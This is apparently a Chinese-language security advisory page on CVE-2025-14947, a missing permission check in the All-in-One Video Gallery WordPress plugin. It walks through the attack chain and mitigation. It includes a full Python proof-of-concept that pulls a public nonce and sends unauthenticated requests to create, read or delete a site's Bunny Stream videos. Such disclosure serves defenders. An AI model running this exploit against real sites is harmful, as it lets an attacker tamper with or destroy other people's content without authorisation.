IPBUF安全漏洞报告
English
CVE-2025-14947 CVSS 6.5 中危

CVE-2025-14947 | All-in-One Video Gallery 权限绕过导致未授权视频操作漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2025-14947
漏洞类型
权限绕过/IDOR
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
All-in-One Video Gallery (WordPress Plugin)

相关标签

CVE-2025-14947WordPress插件漏洞权限绕过IDORAll-in-One Video GalleryBunny StreamAJAX安全未授权访问媒体文件漏洞

漏洞概述

All-in-One Video Gallery是WordPress平台上广受欢迎的视频画廊插件,允许用户轻松管理嵌入视频内容。该插件在4.6.4及之前版本中存在严重的权限控制缺陷,其ajax_callback_create_bunny_stream_video、ajax_callback_get_bunny_stream_video和ajax_callback_delete_bunny_stream_video三个核心功能函数缺少适当的权限验证机制。攻击者可以通过公开的玩家模板获取有效的nonce值,然后构造恶意AJAX请求,在无需任何认证的情况下创建、查看和删除Bunny Stream CDN上与受害者账户关联的视频资源。此漏洞影响所有使用该插件并启用Bunny Stream集成功能的WordPress网站,CVSS评分6.5,属于中等严重程度。

技术细节

该漏洞的根本原因在于WordPress AJAX处理函数缺少权限检查和用户认证验证。插件的三个关键函数ajax_callback_create_bunny_stream_video、ajax_callback_get_bunny_stream_video和ajax_callback_delete_bunny_stream_video直接处理Bunny Stream API交互,但未调用current_user_can()或wp_verify_nonce()等标准WordPress安全函数进行权限验证。攻击流程如下:首先,攻击者访问网站公开页面中的视频播放器模板,由于nonce在客户端可见,攻击者可以直接提取该值。随后,攻击者构造针对wp-admin/admin-ajax.php的POST请求,携带提取的nonce和相应操作参数。服务器端由于缺少权限检查,直接执行了视频创建或删除操作,将请求转发至Bunny Stream API完成执行。整个攻击过程无需任何认证凭证,且可远程执行,对启用了Bunny Stream功能的网站造成直接威胁。

攻击链分析

STEP 1
步骤1
信息收集:访问目标WordPress网站的公开视频播放器页面
STEP 2
步骤2
Nonce提取:从播放器HTML源代码或JavaScript中提取暴露的nonce值
STEP 3
步骤3
构造请求:准备针对wp-admin/admin-ajax.php的恶意AJAX请求
STEP 4
步骤4
权限绕过:由于目标函数缺少current_user_can()检查,攻击者无需登录即可通过验证
STEP 5
步骤5
执行操作:发送POST请求,操作Bunny Stream CDN上的视频资源(创建/获取/删除)
STEP 6
步骤6
完成利用:攻击者成功在受害者账户下创建或删除视频,造成数据篡改或拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re import argparse def exploit_cve_2025_14947(target_url, action='delete'): """ CVE-2025-14947 PoC - All-in-One Video Gallery Unauthorized Video Manipulation This exploit demonstrates the IDOR vulnerability in All-in-One Video Gallery plugin where AJAX functions lack proper capability checks. Actions: 'create', 'get', 'delete' """ # Step 1: Extract nonce from public player template player_url = f"{target_url}/?aivg_id=1" try: response = requests.get(player_url, timeout=10) # Extract nonce from player template (typically in data-nonce attribute) nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', response.text) if not nonce_match: print("[-] Failed to extract nonce from player template") return False nonce = nonce_match.group(1) print(f"[+] Extracted nonce: {nonce}") except requests.RequestException as e: print(f"[-] Error fetching player page: {e}") return False # Step 2: Prepare AJAX request ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } if action == 'create': # Create video on Bunny Stream CDN data = { 'action': 'ajax_callback_create_bunny_stream_video', 'nonce': nonce, 'video_title': 'Malicious Video', 'video_guid': 'malicious-video-guid' } elif action == 'get': # Get video information data = { 'action': 'ajax_callback_get_bunny_stream_video', 'nonce': nonce, 'video_id': '1' } elif action == 'delete': # Delete video from Bunny Stream CDN data = { 'action': 'ajax_callback_delete_bunny_stream_video', 'nonce': nonce, 'video_id': '1' } else: print("[-] Invalid action") return False # Step 3: Execute malicious request (no authentication required) try: response = requests.post(ajax_endpoint, data=data, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] {action.upper()} action completed successfully") print(f"[+] Response: {response.text[:500]}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.RequestException as e: print(f"[-] Error executing request: {e}") return False if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-14947 Exploit') parser.add_argument('--url', required=True, help='Target WordPress URL') parser.add_argument('--action', choices=['create', 'get', 'delete'], default='delete', help='Action to perform') args = parser.parse_args() exploit_cve_2025_14947(args.url, args.action)

影响范围

All-in-One Video Gallery <= 4.6.4

防御指南

临时缓解措施
如果无法立即升级,可暂时禁用All-in-One Video Gallery插件的Bunny Stream集成功能,或使用Web应用防火墙规则阻止针对admin-ajax.php的ajax_callback_create_bunny_stream_video、ajax_callback_get_bunny_stream_video和ajax_callback_delete_bunny_stream_video操作请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表